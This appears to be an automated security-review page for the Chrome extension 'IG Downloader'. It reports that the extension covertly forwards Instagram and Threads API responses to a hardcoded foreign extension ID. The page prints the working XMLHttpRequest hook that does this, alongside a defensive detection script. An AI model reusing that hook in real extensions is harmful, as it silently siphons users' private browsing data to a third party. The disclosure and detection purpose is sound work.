Is Instagram Video Photo Download - IG Downloader safe?

Medium risk

Instagram Video Photo Download - IG Downloader forwards Instagram API responses to a hardcoded extension ID.

On Instagram pages, the recorded claim describes an injected script that hooks XMLHttpRequest and watches feed, stories, search, and GraphQL API responses. When matching responses complete, it sends response text or parsed story usernames and user IDs to oejjpeobjicdpgaijialfpfcbdnanajk rather than this extension's own ID.

Extstackv1.0.4Chrome Web Store
45Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

IG Downloader forwards your Instagram data to a different extension

Every Instagram page you browse with this extension installed is copied by an injected script and sent, without a prompt, to a hardcoded ID belonging to a different, unrelated extension.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You view your Instagram feed, a profile, a story, or search results while this extension is installed.

No download action is needed; simply loading the page is enough.

The extension did this

A script the extension injects into the Instagram page copies that response and forwards it, unprompted, to a hardcoded extension ID.

That ID is not the ID of the extension you installed.

What the injected script forwards, by the Instagram page you're on
  • Profile/GraphQL response body
    {"data":{"fetch__XDTUserDict":{"pk":"173560420","username":"cristiano"}}}

    The full response Instagram returned for the page you're on, which can include profile fields, post data, and internal identifiers.

  • Story viewer identity
    username: cristiano, user_id: 173560420

    The username and numeric user ID of the Instagram story you're viewing.

  • Reels response body
    GET /api/v1/feed/reels_media/?reel_ids=17851374...

    The full response for the Reels you're viewing in that session.

  • Threads search results
    POST /ajax/route-definition/ response body (search results JSON)

    The response body from a Threads search you performed.

Why the mismatched ID matters

The extension's own background worker never receives this data. It goes to a separate, hardcoded ID outside this listing, so that ID's owner decides who ends up with your Instagram activity.

The code that does this

The XMLHttpRequest hook that redirects Instagram's own API responses

Readable version
import { EXTENSION_ID } from './constants';// EXTENSION_ID = 'oejjpeobjicdpgaijialfpfcbdnanajk' -- NOT this extension's own IDconst oldXHROpen = window.XMLHttpRequest.prototype.open;window.XMLHttpRequest.prototype.open = function (method, url) {   if (method === 'GET' && typeof url === 'string') {      if (url.includes('/api/v1/feed/reels_media/?reel_ids=')) {         this.addEventListener('load', function () {            chrome.runtime.sendMessage(EXTENSION_ID, { data: this.responseText, api: '/api/v1/feed/reels_media/?reel_ids=' });         });      }   }   if (method === 'POST') {      switch (url) {         case '/ajax/bulk-route-definitions/':         case 'https://www.instagram.com/ajax/bulk-route-definitions/':            this.addEventListener('load', async function () {               try {                  const {                     payload: { payloads },                  } = JSON.parse(this.responseText.split(/\s*for\s+\(;;\);\s*/)[1]);                  for (const [key, value] of Object.entries(payloads)) {                     if (key.startsWith('/stories/')) {                        await chrome.runtime.sendMessage(EXTENSION_ID, {                           type: 'stories',                           data: {                              username: key.split('/')[2],                              user_id: value.result.exports.rootView.props.user_id,                           },                        });                     }                  }               } catch {}            });            break;         case 'https://www.instagram.com/api/graphql':         case 'https://www.threads.net/graphql/query':         case '/api/graphql':            this.addEventListener('load', function () {               chrome.runtime.sendMessage(EXTENSION_ID, { api: 'https://www.instagram.com/api/graphql', data: this.responseText });            });            break;         default:            break;      }   }   return oldXHROpen.apply(this, [].slice.call(arguments) as any);};
Check if you're affected

Paste into the DevTools console on instagram.com to see every page-context chrome.runtime.sendMessage call and which extension ID it targets.

Requires
  • Chrome or another Chromium-based browser
  • The extension installed and enabled
detect-ig-forwarding.js · js
// Run in the Instagram tab's DevTools console (page context), then browse the feed,// a profile, a story, or search. Logs every runtime message the page sends and the// extension ID it's addressed to, so you can see if it matches an extension you trust.(function () {  if (!window.chrome || !chrome.runtime || !chrome.runtime.sendMessage) {    console.log('chrome.runtime.sendMessage is not reachable from this page context.');    return;  }  const original = chrome.runtime.sendMessage.bind(chrome.runtime);  chrome.runtime.sendMessage = function (...args) {    const targetId = typeof args[0] === 'string' ? args[0] : '(no explicit target)';    console.log('[ig-forwarding-detector] sendMessage ->', targetId, args.slice(1));    return original(...args);  };  console.log('[ig-forwarding-detector] hook installed. Browse the page now.');})();
How to run it
  1. 1Open instagram.com.
  2. 2Open DevTools Console (page context).
  3. 3Paste the script, press Enter.
  4. 4Browse feed/profile/story/search.
  5. 5Compare each logged ID to chrome://extensions.

What it can do

Permissions this extension asks for, as declared in version 1.0.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on extensionpay.com

    https://extensionpay.com/*

  • Store data in your browser

    storage

  • Store an unlimited amount of data in your browser

    unlimitedStorage

Where it sends data

Destinations our analysis observed Instagram Video Photo Download - IG Downloader contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • oejjpeobjicdpgaijialfpfcbdnanajk

    Instagram Video Photo Download - IG Downloader sends data to oejjpeobjicdpgaijialfpfcbdnanajk. Named as a recipient in this extension's own analysis.

Updated 21 September 2026gchclloppbdjidoeipnmbjgfijhgjobc